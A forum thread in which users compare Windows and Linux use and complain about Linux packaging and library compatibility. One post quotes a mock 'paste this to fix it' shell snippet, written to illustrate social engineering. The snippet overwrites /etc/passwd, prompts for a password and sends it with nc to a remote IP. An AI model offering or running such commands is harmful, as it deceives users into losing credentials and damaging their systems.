Who Here Uses Linux?

[Count Chocula]

Vista on my box, NT on my Netbook. I have to have Office and Outlook, so there you go. I rep a network video recorder manfacturer and most of their boxes use Linux, so I'm re-learning it for work purposes only.

[Ariphaos]

"oh just open a terminal and run this:

sudo apt-get install pwnme-devel
pwnme -L 8089 &
`perl -e 'print ("wtf" =~ s/w/sudo echo toor|0 > /etc/passwd);'`
echo 'Password: ' ; read ; echo $REPLY | nc 133.7.101.4 10000

and it will fix your problem."

How many times does the newbie just copy/paste it without even looking at it? Besides, even if the newb looked at it, would he know what it does?

This is similar to 'here, just run this trojan' in Windows. Setup a fake clone of bleepingcomputer.com or whatever, swap out a letter and you have the same situation. I don't think there's much arguing that there are only so many solutions to user stupidity besides education.

Hah! Yeah, virus writers have a hard time doing certain things.... and so do legitimate programs and users. Who hasn't lost data with some random dot update in Linux software where they went and changed something?

I mostly use Linux for server purposes but, I've only lost data due to a RAID card failure, personally. Then again I've only used Debian for serious work in Linux.

[StrikaAmaru]

Win 7 at work, Win XP at home. I don't use Linux, not from any religious conviction, but because I'm a developer on the .Net platform, and I don't have much use for it (yes, I know about Mono).

[phongn]

This means a binary virus will have a hard time spreading, yes, but it also means legitimate software is a pain to deploy to the masses too.

Pretty much if you don't ship source and/or the packaging scripts (so the automated infrastructure available for Ubuntu, etc. work) you're screwed. I suspect this is why all the CAD/CAM vendors abandoned Linux some time ago (and even then, they only supported ancient distributions of Linux!)

[phongn]

Even with source, it can be fairly painful. One minor example is my work app. On the home computer, compile -lmysqlclient just works. On the live server, it complains it can't find the library - I have to tell it where to look.

ldconfig is failing? No surprise there

[Pu-239]

This means a binary virus will have a hard time spreading, yes, but it also means legitimate software is a pain to deploy to the masses too.

Pretty much if you don't ship source and/or the packaging scripts (so the automated infrastructure available for Ubuntu, etc. work) you're screwed. I suspect this is why all the CAD/CAM vendors abandoned Linux some time ago (and even then, they only supported ancient distributions of Linux!)

The EDA vendors seem to do a significantly better job, I.e. Xilinx, Altera, modelsim, run cross distro w/o any problems on Fedora/Ubuntu (and different versions @ that!). That said, they don't even bother integrating w/ the package manager, usually supplying an installer script inside a tarball, w/ other scripts to setup env variables. In addition said tarball includes all dependencies to alleviate library hell.

I believe for regular user apps the compatibility issues aren't so bad, so long as as many dependencies as possible are packed w/ the program as a fallback. Server stuff on the other hand is quite problematic w/ wildly varying init script locations/schemes and whatnot between distros.

[Pu-239]

I'm considering using Windows as my base OS for my next desktop though, since Virtualbox now seems sufficient for the composited desktops in modern Linux, and I have a real rack server running Debian/Ubuntu in OpenVZ for the other stuff. As previously mentioned, games don't like Linux .

Ironically I have ceased using GNOME and switched to WMII, so I don't need compositing anymore . I do like GNOME3, but given my heavy multitasking habits w/ many open terminals side by side a tiling WM just seems more efficient, although rather visually unappealing.

[darkjedi521]

At home, I run XP64 for gaming and Fedora/XP on my ancient laptop. At work I admin RHEL 3-6, FreeBSD, Solaris, and Windows 3.1, NT 4, 98, 2K, XP (64), and Server 2008. I'm in charge of a bunch of research labs, which explains the Windows releases all over the map.